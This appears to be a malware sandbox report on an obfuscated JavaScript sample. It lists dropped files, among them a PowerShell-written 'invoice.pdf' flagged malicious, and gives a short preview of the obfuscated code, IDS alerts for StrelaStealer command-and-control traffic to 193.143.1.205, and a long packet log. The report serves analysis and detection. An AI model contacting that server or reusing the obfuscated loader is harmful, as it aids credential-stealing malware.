Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16037), with CRLF line terminators
Entropy (8bit):	4.914210751224417
TrID:
File name:	1528152952987120978.js
File size:	19'317 bytes
MD5:	8703ff88726d99c3c5789f727898c477
SHA1:	c2519072ac6a4200053d8210b13049ceb6e6d265
SHA256:	9f63e3701cd781a40cbb10e33cc5e2a67c28a6d25bf51a9689da47cf6122cd62
SHA512:	764ebbda01588aba31370452d1d155d9d49c02e67f0f6e65fbf464b0f6f6d02d2d4367b4071f0261a65357eb461b3b587299a0804268c42de599ec44a185a730
SSDEEP:	384:pHtFeP2sctqxCjkwlbYKqE2YQqn5Z27eaeGeSYrlKiRlkjFF4+:pHtFeP5ct4CjkwlbYKqE2YQqnrvlKiRK
TLSH:	8F8264C2EC55034720FCA861B6B3026B53B915CDBA68D48D68C8BCDA92574BDE7D0B3D
File Content Preview:	function bdjbzwd(){scvuqqknf=[1031,3079,5127,4103,2055,3072];var ylvnywlct=this[xhcxyj+qsmyi+yvddxssc+vnrxm+uesxbnk+oplxxek+cwuemv+dsuknz](this[bfdopyeqs+gwjhz+zfwmezsl+yvddxssc+btvdd+xhcxyj+dsuknz][lankq+yvddxssc+uesxbnk+qsmyi+dsuknz+uesxbnk+nqblxwt+yojj

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:10:30.218169+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T04:10:30.218169+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T04:10:32.861484+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:10:29.412070990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:29.417268991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:29.417366982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:29.420550108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:29.425412893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218004942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218065977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218103886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218137026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218168974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.218173981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218205929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.218300104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218331099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218352079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.218364000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218399048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.218434095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.218436956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.219464064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.223081112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.263629913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.263655901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.263772011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.339364052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339437008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339473963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339498997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.339508057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339557886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.339560032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339592934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339627028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339634895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.339665890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.339715004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.340209961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340266943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340296030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340317011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.340651989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340684891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340718031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.340718031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340754032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340759993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.340786934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.340878010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.341506958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.341541052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.341588020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.341590881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.341624022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.341658115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.341674089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.384713888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.384735107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.384747982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.384761095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.384849072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.384870052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.430790901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.430809975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.430895090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.460254908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460311890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460346937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460380077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460391998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.460413933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460447073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460468054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.460484028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.460583925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460640907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460681915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.460726023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460778952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460810900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.460827112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.461131096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461163998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461172104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.461200953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461241961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.461343050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461376905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461410999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461422920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.461445093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461486101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.461893082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461951017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461975098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.461996078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.462148905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.462163925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.462179899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.462187052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.462193966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.462218046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.462901115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.462933064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.462946892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.462965965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463006973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.463072062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463103056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463136911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463145018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.463171005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463212967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.463824034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463856936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463891983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463898897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.463927031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463958979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.463972092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.463993073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.464035988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.473438025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.473459005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.473469019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.473519087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.476085901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.476114988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.476138115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.505997896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.506045103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.506099939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.506122112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.506135941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.506156921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.506170034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.506203890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.506217003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.506239891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.506283998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.522367001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.522404909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.522439957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.522589922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.562491894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.562628984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.562632084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.581429958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581497908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581511021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581513882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.581557989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.581635952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581667900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581701040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581722021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.581770897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581784010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581830025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.581907034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581919909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581932068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581943035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.581964970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.581999063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.582215071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582261086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582262039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.582273006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582310915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.582408905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582421064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582432032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582442999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582458973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.582494020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.582612038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582664967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582675934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582685947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.582704067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.582727909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.583087921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583123922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583134890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583168983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.583281994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583293915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583304882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583329916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583337069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.583344936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.583515882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583528042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583539009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583549023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583556890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.583560944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.583580017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.583614111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.584044933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584055901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584068060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584103107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.584204912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584217072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584228039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584239006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584247112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.584290981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.584450960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584461927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584472895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584484100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584495068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.584496021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.584527969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.584554911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.585022926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585033894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585047960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585072994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.585190058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585201025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585211992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585222960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585239887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.585268974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.585390091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585402012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585412979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585422993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585433960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.585437059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585458994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.585488081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.585916042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585964918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.585975885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.586019039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.586111069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.586154938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.586163044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.586174011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.586185932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.586216927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.586277962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.586328983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.595262051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.597726107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.597760916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.597811937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.597817898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.597846031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.597879887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.597903013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.597913027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.597949982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.597966909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.598000050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.598031998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.598048925 CET	49730	80	192.168.2.4	193.143.1.205
